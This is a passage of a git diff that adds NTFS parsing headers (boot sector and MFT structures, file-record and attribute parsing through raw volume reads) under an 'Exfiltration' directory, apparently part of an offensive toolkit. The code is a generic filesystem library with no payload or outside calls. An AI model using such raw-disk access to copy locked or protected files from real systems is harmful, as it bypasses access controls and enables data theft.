ListHead; + + ListHead = le; + + if (ListTail == NULL) + ListTail = le; // Empty list + + EntryCount ++; + return TRUE; + } + + // Remove from head + ENTRY_TYPE* Pop() + { + if (ListHead == NULL) + return NULL; + + NTSLIST_ENTRY<ENTRY_TYPE> *le = ListHead; + ENTRY_TYPE *e = le->Entry; + + if (ListTail == ListHead) + ListTail = ListHead->Next; + ListHead = ListHead->Next; + + delete le; + EntryCount --; + + return e; + } + + // Remove all entries + void RemoveAll() + { + NTSLIST_ENTRY<ENTRY_TYPE> *le; + + while (ListHead) + { + le = ListHead->Next; + delete ListHead->Entry; + delete ListHead; + + ListHead = le; + } + + ListHead = ListTail = NULL; + EntryCount = 0; + } +}; //CStack + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFS_DataType.h b/Exfiltration/NTFSParser/NTFSParser/NTFS_DataType.h new file mode 100644 index 0000000..7d9ccc0 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFS_DataType.h @@ -0,0 +1,380 @@ +/* + * NTFS data structures and definitions + * + * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com> + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_DATATYPE_H_CYB70289 +#define __NTFS_DATATYPE_H_CYB70289 + +// NTFS Boot Sector BPB + +#define NTFS_SIGNATURE "NTFS " + +#pragma pack(1) +typedef struct tagNTFS_BPB +{ + // jump instruction + BYTE Jmp[3]; + + // signature + BYTE Signature[8]; + + // BPB and extended BPB + WORD BytesPerSector; + BYTE SectorsPerCluster; + WORD ReservedSectors; + BYTE Zeros1[3]; + WORD NotUsed1; + BYTE MediaDescriptor; + WORD Zeros2; + WORD SectorsPerTrack; + WORD NumberOfHeads; + DWORD HiddenSectors; + DWORD NotUsed2; + DWORD NotUsed3; + ULONGLONG TotalSectors; + ULONGLONG LCN_MFT; + ULONGLONG LCN_MFTMirr; + DWORD ClustersPerFileRecord; + DWORD ClustersPerIndexBlock; + BYTE VolumeSN[8]; + + // boot code + BYTE Code[430]; + + //0xAA55 + BYTE _AA; + BYTE _55; +} NTFS_BPB; +#pragma pack() + + +// MFT Indexes +#define MFT_IDX_MFT 0 +#define MFT_IDX_MFT_MIRR 1 +#define MFT_IDX_LOG_FILE 2 +#define MFT_IDX_VOLUME 3 +#define MFT_IDX_ATTR_DEF 4 +#define MFT_IDX_ROOT 5 +#define MFT_IDX_BITMAP 6 +#define MFT_IDX_BOOT 7 +#define MFT_IDX_BAD_CLUSTER 8 +#define MFT_IDX_SECURE 9 +#define MFT_IDX_UPCASE 10 +#define MFT_IDX_EXTEND 11 +#define MFT_IDX_RESERVED12 12 +#define MFT_IDX_RESERVED13 13 +#define MFT_IDX_RESERVED14 14 +#define MFT_IDX_RESERVED15 15 +#define MFT_IDX_USER 16 + + +/****************************** + File Record + --------------------- + | File Record Header| + --------------------- + | Attribute 1 | + --------------------- + | Attribute 2 | + --------------------- + | ...... | + --------------------- + | 0xFFFFFFFF | + --------------------- +*******************************/ + +// File Record Header + +#define FILE_RECORD_MAGIC 'ELIF' +#define FILE_RECORD_FLAG_INUSE 0x01 // File record is in use +#define FILE_RECORD_FLAG_DIR 0x02 // File record is a directory + +typedef struct tagFILE_RECORD_HEADER +{ + DWORD Magic; // "FILE" + WORD OffsetOfUS; // Offset of Update Sequence + WORD SizeOfUS; // Size in words of Update Sequence Number & Array + ULONGLONG LSN; // $LogFile Sequence Number + WORD SeqNo; // Sequence number + WORD Hardlinks; // Hard link count + WORD OffsetOfAttr; // Offset of the first Attribute + WORD Flags; // Flags + DWORD RealSize; // Real size of the FILE record + DWORD AllocSize; // Allocated size of the FILE record + ULONGLONG RefToBase; // File reference to the base FILE record + WORD NextAttrId; // Next Attribute Id + WORD Align; // Align to 4 byte boundary + DWORD RecordNo; // Number of this MFT Record +} FILE_RECORD_HEADER; + + +/****************************** + Attribute + -------------------- + | Attribute Header | + -------------------- + | Attribute Data | + -------------------- +*******************************/ + +// Attribute Header + +#define ATTR_TYPE_STANDARD_INFORMATION 0x10 +#define ATTR_TYPE_ATTRIBUTE_LIST 0x20 +#define ATTR_TYPE_FILE_NAME 0x30 +#define ATTR_TYPE_OBJECT_ID 0x40 +#define ATTR_TYPE_SECURITY_DESCRIPTOR 0x50 +#define ATTR_TYPE_VOLUME_NAME 0x60 +#define ATTR_TYPE_VOLUME_INFORMATION 0x70 +#define ATTR_TYPE_DATA 0x80 +#define ATTR_TYPE_INDEX_ROOT 0x90 +#define ATTR_TYPE_INDEX_ALLOCATION 0xA0 +#define ATTR_TYPE_BITMAP 0xB0 +#define ATTR_TYPE_REPARSE_POINT 0xC0 +#define ATTR_TYPE_EA_INFORMATION 0xD0 +#define ATTR_TYPE_EA 0xE0 +#define ATTR_TYPE_LOGGED_UTILITY_STREAM 0x100 + +#define ATTR_FLAG_COMPRESSED 0x0001 +#define ATTR_FLAG_ENCRYPTED 0x4000 +#define ATTR_FLAG_SPARSE 0x8000 + +typedef struct tagATTR_HEADER_COMMON +{ + DWORD Type; // Attribute Type + DWORD TotalSize; // Length (including this header) + BYTE NonResident; // 0 - resident, 1 - non resident + BYTE NameLength; // name length in words + WORD NameOffset; // offset to the name + WORD Flags; // Flags + WORD Id; // Attribute Id +} ATTR_HEADER_COMMON; + +typedef struct tagATTR_HEADER_RESIDENT +{ + ATTR_HEADER_COMMON Header; // Common data structure + DWORD AttrSize; // Length of the attribute body + WORD AttrOffset; // Offset to the Attribute + BYTE IndexedFlag; // Indexed flag + BYTE Padding; // Padding +} ATTR_HEADER_RESIDENT; + +typedef struct tagATTR_HEADER_NON_RESIDENT +{ + ATTR_HEADER_COMMON Header; // Common data structure + ULONGLONG StartVCN; // Starting VCN + ULONGLONG LastVCN; // Last VCN + WORD DataRunOffset; // Offset to the Data Runs + WORD CompUnitSize; // Compression unit size + DWORD Padding; // Padding + ULONGLONG AllocSize; // Allocated size of the attribute + ULONGLONG RealSize; // Real size of the attribute + ULONGLONG IniSize; // Initialized data size of the stream +} ATTR_HEADER_NON_RESIDENT; + + +// Attribute: STANDARD_INFORMATION + +#define ATTR_STDINFO_PERMISSION_READONLY 0x00000001 +#define ATTR_STDINFO_PERMISSION_HIDDEN 0x00000002 +#define ATTR_STDINFO_PERMISSION_SYSTEM 0x00000004 +#define ATTR_STDINFO_PERMISSION_ARCHIVE 0x00000020 +#define ATTR_STDINFO_PERMISSION_DEVICE 0x00000040 +#define ATTR_STDINFO_PERMISSION_NORMAL 0x00000080 +#define ATTR_STDINFO_PERMISSION_TEMP 0x00000100 +#define ATTR_STDINFO_PERMISSION_SPARSE 0x00000200 +#define ATTR_STDINFO_PERMISSION_REPARSE 0x00000400 +#define ATTR_STDINFO_PERMISSION_COMPRESSED 0x00000800 +#define ATTR_STDINFO_PERMISSION_OFFLINE 0x00001000 +#define ATTR_STDINFO_PERMISSION_NCI 0x00002000 +#define ATTR_STDINFO_PERMISSION_ENCRYPTED 0x00004000 + +typedef struct tagATTR_STANDARD_INFORMATION +{ + ULONGLONG CreateTime; // File creation time + ULONGLONG AlterTime; // File altered time + ULONGLONG MFTTime; // MFT changed time + ULONGLONG ReadTime; // File read time + DWORD Permission; // Dos file permission + DWORD MaxVersionNo; // Maxim number of file versions + DWORD VersionNo; // File version number + DWORD ClassId; // Class Id + DWORD OwnerId; // Owner Id + DWORD SecurityId; // Security Id + ULONGLONG QuotaCharged; // Quota charged + ULONGLONG USN; // USN Journel +} ATTR_STANDARD_INFORMATION; + + +// Attribute: ATTRIBUTE_LIST + +typedef struct tagATTR_ATTRIBUTE_LIST +{ + DWORD AttrType; // Attribute type + WORD RecordSize; // Record length + BYTE NameLength; // Name length in characters + BYTE NameOffset; // Name offset + ULONGLONG StartVCN; // Start VCN + ULONGLONG BaseRef; // Base file reference to the attribute + WORD AttrId; // Attribute Id +} ATTR_ATTRIBUTE_LIST; + +// Attribute: FILE_NAME + +#define ATTR_FILENAME_FLAG_READONLY 0x00000001 +#define ATTR_FILENAME_FLAG_HIDDEN 0x00000002 +#define ATTR_FILENAME_FLAG_SYSTEM 0x00000004 +#define ATTR_FILENAME_FLAG_ARCHIVE 0x00000020 +#define ATTR_FILENAME_FLAG_DEVICE 0x00000040 +#define ATTR_FILENAME_FLAG_NORMAL 0x00000080 +#define ATTR_FILENAME_FLAG_TEMP 0x00000100 +#define ATTR_FILENAME_FLAG_SPARSE 0x00000200 +#define ATTR_FILENAME_FLAG_REPARSE 0x00000400 +#define ATTR_FILENAME_FLAG_COMPRESSED 0x00000800 +#define ATTR_FILENAME_FLAG_OFFLINE 0x00001000 +#define ATTR_FILENAME_FLAG_NCI 0x00002000 +#define ATTR_FILENAME_FLAG_ENCRYPTED 0x00004000 +#define ATTR_FILENAME_FLAG_DIRECTORY 0x10000000 +#define ATTR_FILENAME_FLAG_INDEXVIEW 0x20000000 + +#define ATTR_FILENAME_NAMESPACE_POSIX 0x00 +#define ATTR_FILENAME_NAMESPACE_WIN32 0x01 +#define ATTR_FILENAME_NAMESPACE_DOS 0x02 + +typedef struct tagATTR_FILE_NAME +{ + ULONGLONG ParentRef; // File reference to the parent directory + ULONGLONG CreateTime; // File creation time + ULONGLONG AlterTime; // File altered time + ULONGLONG MFTTime; // MFT changed time + ULONGLONG ReadTime; // File read time + ULONGLONG AllocSize; // Allocated size of the file + ULONGLONG RealSize; // Real size of the file + DWORD Flags; // Flags + DWORD ER; // Used by EAs and Reparse + BYTE NameLength; // Filename length in characters + BYTE NameSpace; // Filename space + WORD Name[1]; // Filename +} ATTR_FILE_NAME; + + +// Attribute: VOLUME_INFORMATION + +#define ATTR_VOLINFO_FLAG_DIRTY 0x0001 // Dirty +#define ATTR_VOLINFO_FLAG_RLF 0x0002 // Resize logfile +#define ATTR_VOLINFO_FLAG_UOM 0x0004 // Upgrade on mount +#define ATTR_VOLINFO_FLAG_MONT 0x0008 // Mounted on NT4 +#define ATTR_VOLINFO_FLAG_DUSN 0x0010 // Delete USN underway +#define ATTR_VOLINFO_FLAG_ROI 0x0020 // Repair object Ids +#define ATTR_VOLINFO_FLAG_MBC 0x8000 // Modified by chkdsk + +typedef struct tagATTR_VOLUME_INFORMATION +{ + BYTE Reserved1[8]; // Always 0 ? + BYTE MajorVersion; // Major version + BYTE MinorVersion; // Minor version + WORD Flags; // Flags + BYTE Reserved2[4]; // Always 0 ? +} ATTR_VOLUME_INFORMATION; + + +// Attribute: INDEX_ROOT +/****************************** + INDEX_ROOT + --------------------- + | Index Root Header | + --------------------- + | Index Header | + --------------------- + | Index Entry | + --------------------- + | Index Entry | + --------------------- + | ...... | + --------------------- +*******************************/ + +#define ATTR_INDEXROOT_FLAG_SMALL 0x00 // Fits in Index Root File Record +#define ATTR_INDEXROOT_FLAG_LARGE 0x01 // Index Allocation and Bitmap needed + +typedef struct tagATTR_INDEX_ROOT +{ + // Index Root Header + DWORD AttrType; // Attribute type (ATTR_TYPE_FILE_NAME: Directory, 0: Index View) + DWORD CollRule; // Collation rule + DWORD IBSize; // Size of index block + BYTE ClustersPerIB; // Clusters per index block (same as BPB?) + BYTE Padding1[3]; // Padding + // Index Header + DWORD EntryOffset; // Offset to the first index entry, relative to this address(0x10) + DWORD TotalEntrySize; // Total size of the index entries + DWORD AllocEntrySize; // Allocated size of the index entries + BYTE Flags; // Flags + BYTE Padding2[3]; // Padding +} ATTR_INDEX_ROOT; + + +// INDEX ENTRY + +#define INDEX_ENTRY_FLAG_SUBNODE 0x01 // Index entry points to a sub-node +#define INDEX_ENTRY_FLAG_LAST 0x02 // Last index entry in the node, no Stream + +typedef struct tagINDEX_ENTRY +{ + ULONGLONG FileReference; // Low 6B: MFT record index, High 2B: MFT record sequence number + WORD Size; // Length of the index entry + WORD StreamSize; // Length of the stream + BYTE Flags; // Flags + BYTE Padding[3]; // Padding + BYTE Stream[1]; // Stream + // VCN of the sub node in Index Allocation, Offset = Size - 8 +} INDEX_ENTRY; + + +// INDEX BLOCK +/****************************** + INDEX_BLOCK + ----------------------- + | Index Block Header | + ----------------------- + | Index Header | + ----------------------- + | Index Entry | + ----------------------- + | Index Entry | + ----------------------- + | ...... | + ----------------------- +*******************************/ + +#define INDEX_BLOCK_MAGIC 'XDNI' + +typedef struct tagINDEX_BLOCK +{ + // Index Block Header + DWORD Magic; // "INDX" + WORD OffsetOfUS; // Offset of Update Sequence + WORD SizeOfUS; // Size in words of Update Sequence Number & Array + ULONGLONG LSN; // $LogFile Sequence Number + ULONGLONG VCN; // VCN of this index block in the index allocation + // Index Header + DWORD EntryOffset; // Offset of the index entries, relative to this address(0x18) + DWORD TotalEntrySize; // Total size of the index entries + DWORD AllocEntrySize; // Allocated size of index entries + BYTE NotLeaf; // 1 if not leaf node (has children) + BYTE Padding[3]; // Padding +} INDEX_BLOCK; + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFS_FileRecord.h b/Exfiltration/NTFSParser/NTFSParser/NTFS_FileRecord.h new file mode 100644 index 0000000..5a232ff --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFS_FileRecord.h @@ -0,0 +1,989 @@ +/* + * NTFS Volume and File Record Class + * + * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com> + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_FILERECORD_H_CYB70289 +#define __NTFS_FILERECORD_H_CYB70289 + + +/////////////////////////////////////// +// NTFS Volume forward declaration +/////////////////////////////////////// +class CNTFSVolume +{ +public: + CNTFSVolume(_TCHAR volume); + virtual ~CNTFSVolume(); + + friend class CFileRecord; + friend class CAttrBase; + +private: + WORD SectorSize; + DWORD ClusterSize; + DWORD FileRecordSize; + DWORD IndexBlockSize; + ULONGLONG MFTAddr; + HANDLE hVolume; + BOOL VolumeOK; + ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS]; + WORD Version; + + // MFT file records ($MFT file itself) may be fragmented + // Get $MFT Data attribute to translate FileRecord to correct disk offset + CFileRecord *MFTRecord; // $MFT File Record + const CAttrBase *MFTData; // $MFT Data Attribute + + BOOL OpenVolume(_TCHAR volume); + +public: + __inline BOOL IsVolumeOK() const; + __inline WORD GetVersion() const; + __inline ULONGLONG GetRecordsCount() const; + + __inline DWORD GetSectorSize() const; + __inline DWORD GetClusterSize() const; + __inline DWORD GetFileRecordSize() const; + __inline DWORD GetIndexBlockSize() const; + __inline ULONGLONG GetMFTAddr() const; + + BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb); + __inline void ClearAttrRawCB(); +}; // CNTFSVolume + + +//////////////////////////////////////////// +// List to hold Attributes of the same type +//////////////////////////////////////////// +typedef class CSList<CAttrBase> CAttrList; + +// It seems VC6.0 doesn't support template class friends +#if _MSC_VER <= 1200 +class CAttrResident; +class CAttrNonResident; +template <class TYPE_RESIDENT> class CAttr_AttrList; +#endif + +//////////////////////////////// +// Process a single File Record +//////////////////////////////// +class CFileRecord +{ +public: + CFileRecord(const CNTFSVolume *volume); + virtual ~CFileRecord(); + + friend class CAttrBase; +#if _MSC_VER <= 1200 + // Walk around VC6.0 compiler defect + friend class CAttr_AttrList<CAttrResident>; + friend class CAttr_AttrList<CAttrNonResident>; +#else + template <class TYPE_RESIDENT> friend class CAttr_AttrList; // Won't compiler in VC6.0, why? +#endif + +private: + const CNTFSVolume *Volume; + FILE_RECORD_HEADER *FileRecord; + ULONGLONG FileReference; + ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS]; + DWORD AttrMask; + CAttrList AttrList[ATTR_NUMS]; // Attributes + + void ClearAttrs(); + BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray); + __inline void UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard); + CAttrBase* AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled); + BOOL ParseAttr(ATTR_HEADER_COMMON *ahc); + FILE_RECORD_HEADER* ReadFileRecord(ULONGLONG &fileRef); + BOOL VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const; + void TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const; + +public: + BOOL ParseFileRecord(ULONGLONG fileRef); + BOOL ParseAttrs(); + + BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb); + __inline void ClearAttrRawCB(); + + __inline void SetAttrMask(DWORD mask); + void TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context); + __inline const CAttrBase* FindFirstAttr(DWORD attrType) const; + const CAttrBase* FindNextAttr(DWORD attrType) const; + + int GetFileName(_TCHAR *buf, DWORD bufLen) const; + __inline ULONGLONG GetFileSize() const; + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const; + + void TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const; + __inline const BOOL FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const; + const CAttrBase* FindStream(_TCHAR *name = NULL); + + __inline BOOL IsDeleted() const; + __inline BOOL IsDirectory() const; + __inline BOOL IsReadOnly() const; + __inline BOOL IsHidden() const; + __inline BOOL IsSystem() const; + __inline BOOL IsCompressed() const; + __inline BOOL IsEncrypted() const; + __inline BOOL IsSparse() const; +}; // CFileRecord + + +#include "NTFS_Attribute.h" + + +CFileRecord::CFileRecord(const CNTFSVolume *volume) +{ + _ASSERT(volume); + Volume = volume; + FileRecord = NULL; + FileReference = (ULONGLONG)-1; + + ClearAttrRawCB(); + + // Default to parse all attributes + AttrMask = MASK_ALL; +} + +CFileRecord::~CFileRecord() +{ + ClearAttrs(); + + if (FileRecord) + delete FileRecord; +} + +// Free all CAttr_xxx +void CFileRecord::ClearAttrs() +{ + for (int i=0; i<ATTR_NUMS; i++) + { + AttrList[i].RemoveAll(); + } +} + +// Verify US and update sectors +BOOL CFileRecord::PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray) +{ + int i; + + for (i=0; i<sectors; i++) + { + sector += ((Volume->SectorSize>>1) - 1); + if (*sector != usn) + return FALSE; // USN error + *sector = usarray[i]; // Write back correct data + sector++; + } + return TRUE; +} + +// Call user defined Callback routines for an attribute +__inline void CFileRecord::UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard) +{ + *bDiscard = FALSE; + + if (AttrRawCallBack[attType]) + AttrRawCallBack[attType](ahc, bDiscard); + else if (Volume->AttrRawCallBack[attType]) + Volume->AttrRawCallBack[attType](ahc, bDiscard); +} + +CAttrBase* CFileRecord::AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled) +{ + switch (ahc->Type) + { + case ATTR_TYPE_STANDARD_INFORMATION: + return new CAttr_StdInfo(ahc, this); + + case ATTR_TYPE_ATTRIBUTE_LIST: + if (ahc->NonResident) + return new CAttr_AttrList<CAttrNonResident>(ahc, this); + else + return new CAttr_AttrList<CAttrResident>(ahc, this); + + case ATTR_TYPE_FILE_NAME: + return new CAttr_FileName(ahc, this); + + case ATTR_TYPE_VOLUME_NAME: + return new CAttr_VolName(ahc, this); + + case ATTR_TYPE_VOLUME_INFORMATION: + return new CAttr_VolInfo(ahc, this); + + case ATTR_TYPE_DATA: + if (ahc->NonResident) + return new CAttr_Data<CAttrNonResident>(ahc, this); + else + return new CAttr_Data<CAttrResident>(ahc, this); + + case ATTR_TYPE_INDEX_ROOT: + return new CAttr_IndexRoot(ahc, this); + + case ATTR_TYPE_INDEX_ALLOCATION: + return new CAttr_IndexAlloc(ahc, this); + + case ATTR_TYPE_BITMAP: + if (ahc->NonResident) + return new CAttr_Bitmap<CAttrNonResident>(ahc, this); + else + // Resident Bitmap may exist in a directory's FileRecord + // or in $MFT for a very small volume in theory + return new CAttr_Bitmap<CAttrResident>(ahc, this); + + // Unhandled Attributes + default: + *bUnhandled = TRUE; + if (ahc->NonResident) + return new CAttrNonResident(ahc, this); + else + return new CAttrResident(ahc, this); + } +} + +// Parse a single Attribute +// Return False on error +BOOL CFileRecord::ParseAttr(ATTR_HEADER_COMMON *ahc) +{ + DWORD attrIndex = ATTR_INDEX(ahc->Type); + if (attrIndex < ATTR_NUMS) + { + BOOL bDiscard = FALSE; + UserCallBack(attrIndex, ahc, &bDiscard); + + if (!bDiscard) + { + BOOL bUnhandled = FALSE; + CAttrBase *attr = AllocAttr(ahc, &bUnhandled); + if (attr) + { + if (bUnhandled) + { + NTFS_TRACE1("Unhandled attribute: 0x%04X\n", ahc->Type); + } + AttrList[attrIndex].InsertEntry(attr); + return TRUE; + } + else + { + NTFS_TRACE1("Attribute Parse error: 0x%04X\n", ahc->Type); + return FALSE; + } + } + else + { + NTFS_TRACE1("User Callback has processed this Attribute: 0x%04X\n", ahc->Type); + return TRUE; + } + } + else + { + NTFS_TRACE1("Invalid Attribute Type: 0x%04X\n", ahc->Type); + return FALSE; + } +} + +// Read File Record +FILE_RECORD_HEADER* CFileRecord::ReadFileRecord(ULONGLONG &fileRef) +{ + FILE_RECORD_HEADER *fr = NULL; + DWORD len; + + if (fileRef < MFT_IDX_USER || Volume->MFTData == NULL) + { + // Take as continuous disk allocation + LARGE_INTEGER frAddr; + frAddr.QuadPart = Volume->MFTAddr + (Volume->FileRecordSize) * fileRef; + frAddr.LowPart = SetFilePointer(Volume->hVolume, frAddr.LowPart, &frAddr.HighPart, FILE_BEGIN); + + if (frAddr.LowPart == DWORD(-1) && GetLastError() != NO_ERROR) + return FALSE; + else + { + fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize]; + + if (ReadFile(Volume->hVolume, fr, Volume->FileRecordSize, &len, NULL) + && len==Volume->FileRecordSize) + return fr; + else + { + delete fr; + return NULL; + } + } + } + else + { + // May be fragmented $MFT + ULONGLONG frAddr; + frAddr = (Volume->FileRecordSize) * fileRef; + + fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize]; + + if (Volume->MFTData->ReadData(frAddr, fr, Volume->FileRecordSize, &len) + && len == Volume->FileRecordSize) + return fr; + else + { + delete fr; + return NULL; + } + } +} + +// Read File Record, verify and patch the US (update sequence) +BOOL CFileRecord::ParseFileRecord(ULONGLONG fileRef) +{ + // Clear previous data + ClearAttrs(); + if (FileRecord) + { + delete FileRecord; + FileRecord = NULL; + } + + FILE_RECORD_HEADER *fr = ReadFileRecord(fileRef); + if (fr == NULL) + { + NTFS_TRACE1("Cannot read file record %I64u\n", fileRef); + + FileReference = (ULONGLONG)-1; + } + else + { + FileReference = fileRef; + + if (fr->Magic == FILE_RECORD_MAGIC) + { + // Patch US + WORD *usnaddr = (WORD*)((BYTE*)fr + fr->OffsetOfUS); + WORD usn = *usnaddr; + WORD *usarray = usnaddr + 1; + if (PatchUS((WORD*)fr, Volume->FileRecordSize/Volume->SectorSize, usn, usarray)) + { + NTFS_TRACE1("File Record %I64u Found\n", fileRef); + FileRecord = fr; + + return TRUE; + } + else + { + NTFS_TRACE("Update Sequence Number error\n"); + } + } + else + { + NTFS_TRACE("Invalid file record\n"); + } + + delete fr; + } + + return FALSE; +} + +// Visit IndexBlocks recursivly to find a specific FileName +BOOL CFileRecord::VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const +{ + CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION); + if (ia == NULL) + return FALSE; + + CIndexBlock ib; + if (ia->ParseIndexBlock(vcn, ib)) + { + CIndexEntry *ie = ib.FindFirstEntry(); + while (ie) + { + if (ie->HasName()) + { + // Compare name + int i = ie->Compare(fileName); + if (i == 0) + { + ieFound = *ie; + return TRUE; + } + else if (i < 0) // fileName is smaller than IndexEntry + { + // Visit SubNode + if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock), recursive call + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + else + return FALSE; // not found + } + // Just step forward if fileName is bigger than IndexEntry + } + else if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock), recursive call + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + + ie = ib.FindNextEntry(); + } + } + + return FALSE; +} + +// Traverse SubNode recursivly in ascending order +// Call user defined callback routine once found an subentry +void CFileRecord::TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const +{ + CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION); + if (ia == NULL) + return; + + CIndexBlock ib; + if (ia->ParseIndexBlock(vcn, ib)) + { + CIndexEntry *ie = ib.FindFirstEntry(); + while (ie) + { + if (ie->IsSubNodePtr()) + TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); // recursive call + + if (ie->HasName()) + seCallBack(ie); + + ie = ib.FindNextEntry(); + } + } +} + +// Parse all the attributes in a File Record +// And insert them into a link list +BOOL CFileRecord::ParseAttrs() +{ + _ASSERT(FileRecord); + + // Clear previous data + ClearAttrs(); + + // Visit all attributes + + DWORD dataPtr = 0; // guard if data exceeds FileRecordSize bounds + ATTR_HEADER_COMMON *ahc = (ATTR_HEADER_COMMON*)((BYTE*)FileRecord + FileRecord->OffsetOfAttr); + dataPtr += FileRecord->OffsetOfAttr; + + while (ahc->Type != (DWORD)-1 && (dataPtr+ahc->TotalSize) <= Volume->FileRecordSize) + { + if (ATTR_MASK(ahc->Type) & AttrMask) // Skip unwanted attributes + { + if (!ParseAttr(ahc)) // Parse error + return FALSE; + + if (IsEncrypted() || IsCompressed()) + { + NTFS_TRACE("Compressed and Encrypted file not supported yet !\n"); + return FALSE; + } + } + + dataPtr += ahc->TotalSize; + ahc = (ATTR_HEADER_COMMON*)((BYTE*)ahc + ahc->TotalSize); // next attribute + } + + return TRUE; +} + +// Install Attribute raw data CallBack routines for a single File Record +BOOL CFileRecord::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb) +{ + DWORD atIdx = ATTR_INDEX(attrType); + if (atIdx < ATTR_NUMS) + { + AttrRawCallBack[atIdx] = cb; + return TRUE; + } + else + return FALSE; +} + +// Clear all Attribute CallBack routines +__inline void CFileRecord::ClearAttrRawCB() +{ + for (int i = 0; i < ATTR_NUMS; i ++) + AttrRawCallBack[i] = NULL; +} + +// Choose attributes to handle, unwanted attributes will be discarded silently +__inline void CFileRecord::SetAttrMask(DWORD mask) +{ + // Standard Information and Attribute List is needed always + AttrMask = mask | MASK_STANDARD_INFORMATION | MASK_ATTRIBUTE_LIST; +} + +// Traverse all Attribute and return CAttr_xxx classes to User Callback routine +void CFileRecord::TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context) +{ + _ASSERT(attrCallBack); + + for (int i = 0; i < ATTR_NUMS; i ++) + { + if (AttrMask & (((DWORD)1)<<i)) // skip masked attributes + { + const CAttrBase *ab = AttrList[i].FindFirstEntry(); + while (ab) + { + BOOL bStop; + bStop = FALSE; + attrCallBack(ab, context, &bStop); + if (bStop) + return; + + ab = AttrList[i].FindNextEntry(); + } + } + } +} + +// Find Attributes +__inline const CAttrBase* CFileRecord::FindFirstAttr(DWORD attrType) const +{ + DWORD attrIdx = ATTR_INDEX(attrType); + + return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindFirstEntry() : NULL; +} + +const CAttrBase* CFileRecord::FindNextAttr(DWORD attrType) const +{ + DWORD attrIdx = ATTR_INDEX(attrType); + + return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindNextEntry() : NULL; +} + +// Get File Name (First Win32 name) +int CFileRecord::GetFileName(_TCHAR *buf, DWORD bufLen) const +{ + // A file may have several filenames + // Return the first Win32 filename + CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry(); + while (fn) + { + if (fn->IsWin32Name()) + { + int len = fn->GetFileName(buf, bufLen); + if (len != 0) + return len; // success or fail + } + + fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindNextEntry(); + } + + return 0; +} + +// Get File Size +__inline ULONGLONG CFileRecord::GetFileSize() const +{ + CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry(); + return fn ? fn->GetFileSize() : 0; +} + +// Get File Times +void CFileRecord::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const +{ + // Standard Information attribute hold the most updated file time + CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + if (si) + si->GetFileTime(writeTm, createTm, accessTm); + else + { + writeTm->dwHighDateTime = 0; + writeTm->dwLowDateTime = 0; + if (createTm) + { + createTm->dwHighDateTime = 0; + createTm->dwLowDateTime = 0; + } + if (accessTm) + { + accessTm->dwHighDateTime = 0; + accessTm->dwLowDateTime = 0; + } + } +} + +// Traverse all sub directories and files contained +// Call user defined callback routine once found an entry +void CFileRecord::TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const 